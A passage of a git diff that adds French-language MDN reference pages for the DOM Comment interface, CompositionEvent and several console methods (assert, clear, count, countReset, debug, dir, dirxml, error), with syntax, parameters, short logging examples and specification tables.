+<p>L'interface <code><strong>Comment</strong></code> représente des annotations textuelles au sein du balisage; même si elles ne sont généralement pas montrées, elles sont disponibles à la lecture dans le code source. Les commentaires sont représentés en HTML et XML avec du contenu entre cette balise '<code>&lt;!--</code>' et celle ci '<code>--&gt;</code>'. Pour XML, la séquence de caractère suivante '<code>--</code>' ne peut être utilisée dans un commentaire.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Cette interface ne possède pas de propriétés spécifiques, mais en hérite de ses parents, {{domxref("CharacterData")}} et indirectement de {{domxref("Node")}}.</em></p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{ domxref("Comment.Comment()", "Comment()") }} {{experimental_inline}}</dt>
+ <dd>Retourne un objet <code>Comment</code> avec son contenu textuel en paramètre.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Cette interface ne possède pas de méthode spécifique, mais en hérite de ses parents, {{domxref("CharacterData")}} et indirectement de {{domxref("Node")}}.</em></p>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#comment', 'Comment')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Ajoute le constructeur.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-1728279322', 'Comment')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Pas de changement à partir de {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-1728279322', 'Comment')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Pas de changement à partir de {{SpecName('DOM1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-1728279322', 'Comment')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Définition initale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p> </p>
+
+<p>{{Compat("api.Comment")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">The DOM interfaces index</a></li>
+</ul>
diff --git a/files/fr/web/api/compositionevent/index.html b/files/fr/web/api/compositionevent/index.html
new file mode 100644
index 0000000000..38a29c7202
--- /dev/null
+++ b/files/fr/web/api/compositionevent/index.html
@@ -0,0 +1,79 @@
+---
+title: CompositionEvent
+slug: Web/API/CompositionEvent
+tags:
+  - API
+  - DOM
+  - Evènement
+translation_of: Web/API/CompositionEvent
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>Le <code>CompositionEvent DOM</code> représente les évènements qui <span id="result_box" lang="fr"><span>se produisent en raison de l'utilisateur entrant indirectement le texte.</span></span></p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("CompositionEvent.CompositionEvent()", "CompositionEvent()")}}</dt>
+ <dd>Crée une nouvelle instance d'objet <code>CompositionEvent</code> .</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Cette interface hérite également des propriétés de son parent, {{domxref("UIEvent")}} et son ancêtre — {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("CompositionEvent.data")}} {{readonlyinline}}</dt>
+ <dd>Renvoie les caractères générés par la méthode d'entrée <span id="result_box" lang="fr"><span>qui a relevé l'événement ;</span> <span>cela varie en fonction du type d'événement ayant généré l'objet <code>CompositionEvent</code>.</span></span></dd>
+ <dt>{{domxref("CompositionEvent.locale")}} {{readonlyinline}} {{deprecated_inline}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Renvoie les paramètres régionaux de la méthode de saisie actuelle (par exemple, les paramètres régionaux de disposition du clavier si la composition est associée à IME).</span></span></dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Cette interface hérite également des méthodes de son parent, {{domxref("UIEvent")}} et son ancêtre — {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("CompositionEvent.initCompositionEvent()")}} {{deprecated_inline}}</dt>
+ <dd>Initialise les attributs d'un objet <code>CompositionEvent.</code></dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('UI Events', '#interface-compositionevent', 'CompositionEvent')}}</td>
+   <td>{{Spec2('UI Events')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#idl-compositionevent', 'CompositionEvent')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+
+
+<p>{{Compat("api.CompositionEvent")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><code>compositionstart</code></li>
+ <li><code>compositionend</code></li>
+ <li><code>compositionupdate</code></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/UIEvent" title="UIEvent">UIEvent</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Event" title="Event">Event</a></li>
+</ul>
diff --git a/files/fr/web/api/console/assert/index.html b/files/fr/web/api/console/assert/index.html
new file mode 100644
index 0000000000..37fc75d36c
--- /dev/null
+++ b/files/fr/web/api/console/assert/index.html
@@ -0,0 +1,76 @@
+---
+title: Console.assert()
+slug: Web/API/Console/assert
+tags:
+  - API
+  - DOM
+  - Méthodes
+  - débogage
+translation_of: Web/API/console/assert
+---
+<p>{{APIRef("Console API")}}</p>
+
+<p>Affiche un message d'erreur dans la console si l'assertion est fausse. Si l'assertion est vraie, rien ne se produit.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<div class="note">
+<p><strong>Note:</strong> <em>La méthode <code>console.assert()</code> est implémentée différement dans les vieilles version de Node.js que dans celle disponible dans les navigateurs.</em></p>
+
+<p>Plus précisément, dans les navigateurs, appeler <code>console.assert()</code> avec une condition fausse affichera le <code>message</code> dans la console sans interrompre l'éxecution du code suivant. Dans les versions inférieure à la v10 de Node.js, cependant, une assertion fausse lèvera une exception <code>AssertionError</code>. Cette différence de comportement a été corrigée par la v10 de Node et <code>console.assert()</code> se comporte maintenant de la même façon dans Node et dans les navigateurs.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox">console.assert(<em>assertion</em>, <em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.assert(<em>assertion</em>, <em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+</pre>
+
+<h3 id="Parameters" name="Parameters">Paramètres</h3>
+
+<dl>
+ <dt><code>assertion</code></dt>
+ <dd>N'importe quelle expression booléenne. Si l'assertion est fausse, le message s'affichera dans la console.</dd>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>Une liste d'objets javascript à afficher. La représentation textuelle de chacun de ces objets est ajoutée à la suite de la précédente dans l'ordre donné et est ensuite affichée.</dd>
+ <dt><code>msg</code></dt>
+ <dd>Une chaîne de caractères javascript contenant zéro ou plus chaîne(s) de caractères de substitution.</dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd>L'objet javascript avec lequel remplacer les chaînes de substitution dans <code>msg</code>. Ceci vous offre plus de contrôle sur ce qui est affiché.</dd>
+</dl>
+
+<p>Allez voir <a href="https://developer.mozilla.org/fr/docs/Web/API/console#Outputting_text_to_the_console">Afficher du texte dans la console</a> dans la documentation de {{domxref("console")}} pour plus de détails.</p>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#assert", "console.assert()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité entre les navigateurs</h2>
+
+<p>{{Compat("api.Console.assert")}}</p>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://console.spec.whatwg.org/#assert-condition-data">WHATWG Console Standard: console.assert</a></li>
+ <li><a href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+ <li><a href="http://msdn.microsoft.com/library/gg589530">MSDN: Using the F12 Tools Console to View Errors and Status</a></li>
+ <li><a href="https://developer.chrome.com/devtools/docs/console#assertions">Chrome Developer Tools: Using the Console</a></li>
+</ul>
diff --git a/files/fr/web/api/console/clear/index.html b/files/fr/web/api/console/clear/index.html
new file mode 100644
index 0000000000..1cd6244997
--- /dev/null
+++ b/files/fr/web/api/console/clear/index.html
@@ -0,0 +1,116 @@
+---
+title: clear()
+slug: Web/API/Console/clear
+translation_of: Web/API/Console/clear
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>Vide la console.</p>
+
+<p>Tous les messages de la console seront supprimés et remplacés par un message de confirmation ("Console was cleared").</p>
+
+<p>À noter: sur Google Chrome, <code>console.clear()</code> n'a aucun effet si l'utilisateur a coché "Preserve log upon navigation" dans les <a href="https://developer.chrome.com/devtools/docs/settings#preserve-log%20upon%20navigation">paramètres de l'inspecteur</a>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">console.clear();
+</pre>
+
+<h2 id="Paramètres">Paramètres</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Paramètres</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#clear", "console.clear()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Définition Initial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("48.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("48.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+ <li><a href="http://msdn.microsoft.com/library/gg589530">MSDN: Using the F12 Tools Console to View Errors and Status</a></li>
+ <li><a href="https://developer.chrome.com/devtools/docs/console#assertions">Chrome Developer Tools: Using the Console</a></li>
+</ul>
diff --git a/files/fr/web/api/console/count/index.html b/files/fr/web/api/console/count/index.html
new file mode 100644
index 0000000000..8364fc83f4
--- /dev/null
+++ b/files/fr/web/api/console/count/index.html
@@ -0,0 +1,110 @@
+---
+title: Console.count()
+slug: Web/API/Console/count
+tags:
+  - API
+  - DOM
+  - Développement
+  - Méthodes
+  - Web
+  - console
+  - débogage
+translation_of: Web/API/Console/count
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>Affiche dans la console le nombre de fois où la fonction <code>count()</code> a été appelée. Cette fonction accepte l'argument optionnel <code>label</code>.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p>Si un <code>label</code> est passé en paramètre, la fonction affiche le nombre de fois où la fonction <code>count()</code> a été appelée pour ce <code>label</code> spécifiquempent.</p>
+
+<p>Si aucun <code>label</code> est passé en paramètre, la fonction affiche le nombre de fois où la fonction <code>count()</code> a été appelée jusqu'à présent.</p>
+
+<p>Ci-dessous, un exemple d'utilisation :</p>
+
+<pre class="brush: js">function greet() {
+  console.count();
+  return "hi " + user;
+}
+
+var user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.count();</pre>
+
+<p>La console affichera les lignes suivantes :</p>
+
+<pre class="eval">"&lt;no label&gt;: 1"
+"&lt;no label&gt;: 2"
+"&lt;no label&gt;: 3"
+"&lt;no label&gt;: 1"
+</pre>
+
+<p>A noter, la dernière ligne inscrite dans la console fait référence à l'appel de la fonction <code>count()</code> de la ligne 11 qui est traité comme un événement indépendant.</p>
+
+<p>Si la variable <code>user</code> est passée à la fonction comme paramètre <code>label</code>, le code ci-dessous génèrera un nouveau compteur lorsque la variable <code>user</code> sera modifiée :</p>
+
+<pre class="brush: js">function greet() {
+  console.count(user);
+  return "hi " + user;
+}
+
+var user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.count("alice");</pre>
+
+<p>La console affichera les lignes suivantes :</p>
+
+<pre class="eval">"bob: 1"
+"alice: 1"
+"alice: 2"
+"alice: 3"</pre>
+
+<p>Nous obtenons maintenant deux compteurs distinct basés sur un libellé différent. L'appel de la fonction <code>count()</code> avec "alice" à la ligne 11 n'est pas considéré comme un événement indépendant car le compteur existe déjà.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">console.count([label]);
+</pre>
+
+<h2 id="Paramètres">Paramètres</h2>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>Une chaîne de caractères.</dd>
+ <dd>Si ce paramètre est renseigné, <code>count()</code> affiche le nombre de fois que la fonction a été appelée jusqu'à présent avec ce libellé.</dd>
+ <dd>S'il est omis, <code>count()</code> affiche le nombre de fois que la fonction a été appelée sur cette ligne.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#count", "console.count()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.Console.count")}}</p>
+
+<div id="compat-desktop"> </div>
+
+<div id="compat-mobile"> </div>
diff --git a/files/fr/web/api/console/countreset/index.html b/files/fr/web/api/console/countreset/index.html
new file mode 100644
index 0000000000..2a5106ebfd
--- /dev/null
+++ b/files/fr/web/api/console/countreset/index.html
@@ -0,0 +1,124 @@
+---
+title: Console.countReset()
+slug: Web/API/Console/countReset
+translation_of: Web/API/Console/countReset
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>Remet le compteur à zero. Cette fonction prend un argument optionnel <code>label</code></p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">console.countReset(<var>[label]</var>);
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>Si specifié, <code>countReset()</code> remet à zero le compteur associé à ce label. S'il n'est pas specifié, <code>countReset()</code> remet à zéro le compteur par defaut.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>Si le paramètre label à été spécifié :</p>
+
+<pre> <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">counter-name: 0</span></span></span></pre>
+
+<p>Si aucun label n'as été specifié</p>
+
+<pre><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">default: 0</span></span></span></pre>
+
+<h3 id="Warnings">Warnings</h3>
+
+<p>Si <code>label</code> est specifié mais n'existe pas <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><code>countReset()</code> renvoie cet avertissement :</span></span></span></p>
+
+<pre><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><code>Counter "counter-name" doesn’t exist.</code></span></span></span></pre>
+
+<p>Si <code>label</code> n'est pas specifé et que <code>count()</code> n'as pas encore été appellé <code>countReset()</code> renvoie cette avertissement :</p>
+
+<pre><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><code>Counter "default" doesn’t exist.</code></span></span></span></pre>
+
+<h2 id="Examples">Examples</h2>
+
+<p>Par exemple avec un code comme celui ci :</p>
+
+<pre class="brush: js">var user = "";
+
+function greet() {
+  console.count();
+  return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.count();
+console.countReset();</pre>
+
+<p>Le retour de la console ressemblera à ceci :</p>
+
+<pre class="eval">"default: 1"
+"default: 2"
+"default: 3"
+"default: 1"
+"default: 0"
+</pre>
+
+<p>Pour information l'appel à <code>console.counterReset()</code> remet à zero la valeur du compteur par défaut.</p>
+
+<p>S'il on passe la variable <code>user</code> comme argument pour <code>label</code> et que l'on effectue un premier appel de la fonction <code>count()</code>, avec la chaine "bob" puis un second appel avec la chaine "alice" :</p>
+
+<pre class="brush: js">var user = "";
+
+function greet() {
+  console.count(user);
+  return "hi " + user;
+}
+
+user = "bob";
+greet();
+user = "alice";
+greet();
+greet();
+console.countReset("bob");
+console.count("alice");</pre>
+
+<p>On obtiendra ce retour dans la console</p>
+
+<pre class="eval">"bob: 1"
+"alice: 1"
+"alice: 2"
+"bob: 0"
+"alice: 3"</pre>
+
+<p>Remettre à zero le compteur "bob" change uniquement la valeur de celui-ci. La valeur du compteur "alice" reste inchangée.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#count", "console.countReset()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Console.countReset")}}</p>
diff --git a/files/fr/web/api/console/debug/index.html b/files/fr/web/api/console/debug/index.html
new file mode 100644
index 0000000000..c632444e7f
--- /dev/null
+++ b/files/fr/web/api/console/debug/index.html
@@ -0,0 +1,72 @@
+---
+title: Console.debug()
+slug: Web/API/Console/debug
+tags:
+  - API
+  - Développement
+  - Méthodes
+  - Web
+  - console
+  - débogage
+  - outils de développement
+translation_of: Web/API/Console/debug
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p><span class="seoSummary">Affiche un message dans la console web, avec le niveau de log "debug". Le message est affiché uniquement si la console est configurée pour afficher les messages de type debug.</span></p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">console.debug(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.debug(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>Une liste d'objets JavaScript à afficher. La représentation, en chaîne de caractères, de chacun de ces objets est affichée dans l'ordre de la liste.</dd>
+ <dt><code>msg</code></dt>
+ <dd>Une chaîne de caractères JavaScript contenant zéro ou plusieurs subdivisions de chaîne de caractères.</dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd>Une liste d'objets JavaScript qui remplace les chaînes de caractéres de <code>msg</code>. Cela vous donne plus de contrôle sur le format de sortie. Voir {{SectionOnPage("fr/docs/Web/API/Console", "Utiliser les caractères de substitution")}} pour une description du fonctionnement des substitutions.</dd>
+</dl>
+
+<p>Voir <a href="/fr/docs/Web/API/console#Outputting_text_to_the_console">Afficher du texte dans la console</a> dans la documentation de {{domxref("console")}} pour plus de détails.</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#debug", "console.debug()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">La table de compatibilité sur cette page est générée à partir de données structurées. Si vous souhaitez y contribuer, veuillez faire un checkout de <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer un pull request.</div>
+
+<p>{{Compat("api.Console.debug")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+ <li><a href="http://msdn.microsoft.com/library/gg589530">MSDN: Using the F12 Tools Console to View Errors and Status</a></li>
+ <li><a href="https://developers.google.com/chrome-developer-tools/docs/console#errors_and_warnings">Chrome Developer Tools: Using the Console</a></li>
+</ul>
diff --git a/files/fr/web/api/console/dir/index.html b/files/fr/web/api/console/dir/index.html
new file mode 100644
index 0000000000..a7582315c6
--- /dev/null
+++ b/files/fr/web/api/console/dir/index.html
@@ -0,0 +1,67 @@
+---
+title: Console.dir()
+slug: Web/API/Console/dir
+tags:
+  - API
+  - DOM
+  - Développement
+  - Méthodes
+  - Web
+  - console
+  - débogage
+translation_of: Web/API/Console/dir
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>Affiche une liste interactive des propriétés de l'objet Javascript spécifié. La sortie est présenté comme un listing hiérarchique avec des triangles qui permettent l'affichage du contenu des objets-enfants.</p>
+
+<p>En d'autres termes, console.dir est le moyen de voir toutes les propriétés de l'objet JavaScript spécifié dans la console, par lequel le développeur peut facilement obtenir les propriétés de l'objet.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<p><img alt="console-dir.png" class="default internal" src="/@api/deki/files/6081/=console-dir.png"></p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">console.dir(<em>object</em>);
+</pre>
+
+<h2 id="Paramètres">Paramètres</h2>
+
+<dl>
+ <dt><code>object</code></dt>
+ <dd>Un objet Javascript qui contient les propriétés qui doivent être affichées.</dd>
+</dl>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#dir", "console.dir()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Console.dir")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/library/gg589530">MSDN: Using the F12 Tools Console to View Errors and Status</a></li>
+ <li><a href="https://developers.google.com/chrome-developer-tools/docs/console-api#consoledirobject">Chrome Console API reference</a></li>
+</ul>
diff --git a/files/fr/web/api/console/dirxml/index.html b/files/fr/web/api/console/dirxml/index.html
new file mode 100644
index 0000000000..cad694b8a9
--- /dev/null
+++ b/files/fr/web/api/console/dirxml/index.html
@@ -0,0 +1,58 @@
+---
+title: Console.dirxml()
+slug: Web/API/Console/dirxml
+tags:
+  - API
+  - DOM
+  - Développement
+  - Méthodes
+  - console
+  - débogage
+translation_of: Web/API/Console/dirxml
+---
+<div>{{APIRef ("Console API")}}</div>
+
+<div>Affiche un arbre interactif des éléments descendants de l'élément XML / HTML spécifié. S'il n'est pas possible d'afficher en tant qu'élément, la vue Objet JavaScript est affichée à la place. La sortie est présentée sous la forme d'une liste hiérarchique des noeuds extensibles qui vous permettent de voir le contenu des nœuds enfants.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">console.dirxml(<em>object</em>);
+</pre>
+
+<h2 id="Paramètres">Paramètres</h2>
+
+<dl>
+ <dt><code>object</code></dt>
+ <dd>Un objet JavaScript dont les propriétés doivent être sorties.</dd>
+</dl>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#dirxml", "console.dirxml()")}}</td>
+   <td>{{Spec2("Console API")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Console.dirxml")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="external" href="http://www.opera.com/dragonfly/documentation/console/">Opera Dragonfly documentation: Console</a></li>
+</ul>
diff --git a/files/fr/web/api/console/error/index.html b/files/fr/web/api/console/error/index.html
new file mode 100644
index 0000000000..46eef2ccd3
--- /dev/null
+++ b/files/fr/web/api/console/error/index.html
@@ -0,0 +1,74 @@
+---
+title: console.error()
+slug: Web/API/Console/error
+tags:
+  - API
+  - DOM
+  - Développement
+  - Méthodes
+  - Web
+  - console
+  - débogage
+translation_of: Web/API/Console/error
+---
+<div>{{APIRef("Console API")}}</div>
+
+<p>Affiche un message d'erreur dans la console du navigateur.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox">console.error(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.error(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+console.exception(<em>obj1</em> [, <em>obj2</em>, ..., <em>objN</em>]);
+console.exception(<em>msg</em> [, <em>subst1</em>, ..., <em>substN</em>]);
+</pre>
+
+<div class="note">
+<p><strong>Note:</strong> <code>console.exception()</code> est un alias de <code>console.error()</code>; ils sont fonctionnellement identiques.</p>
+</div>
+
+<h3 id="Parameters" name="Parameters">Paramètres</h3>
+
+<dl>
+ <dt><code>obj1</code> ... <code>objN</code></dt>
+ <dd>Une liste d'objets JavaScript à afficher. La représentation, en chaîne de caractéres, de chacun de ces objets est affichée dans l'ordre de la liste.</dd>
+ <dt><code>msg</code></dt>
+ <dd>Une chaîne de caractères JavaScript contenant zéro ou plusieurs subdivisions de chaîne de caractères.</dd>
+ <dt><code>subst1</code> ... <code>substN</code></dt>
+ <dd>Une liste d'objets JavaScript qui remplace les chaînes de caractéres de <code>msg</code>. Cela vous donne plus de contrôle sur le format de sortie.</dd>
+</dl>
+
+<p>Voir <a href="https://developer.mozilla.org/fr/docs/Web/API/console#Outputting_text_to_the_console">Afficher du texte dans la console</a> dans la documentation de  {{domxref("console")}} pour plus de détails.</p>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Console API", "#error", "console.error()")}}</td>
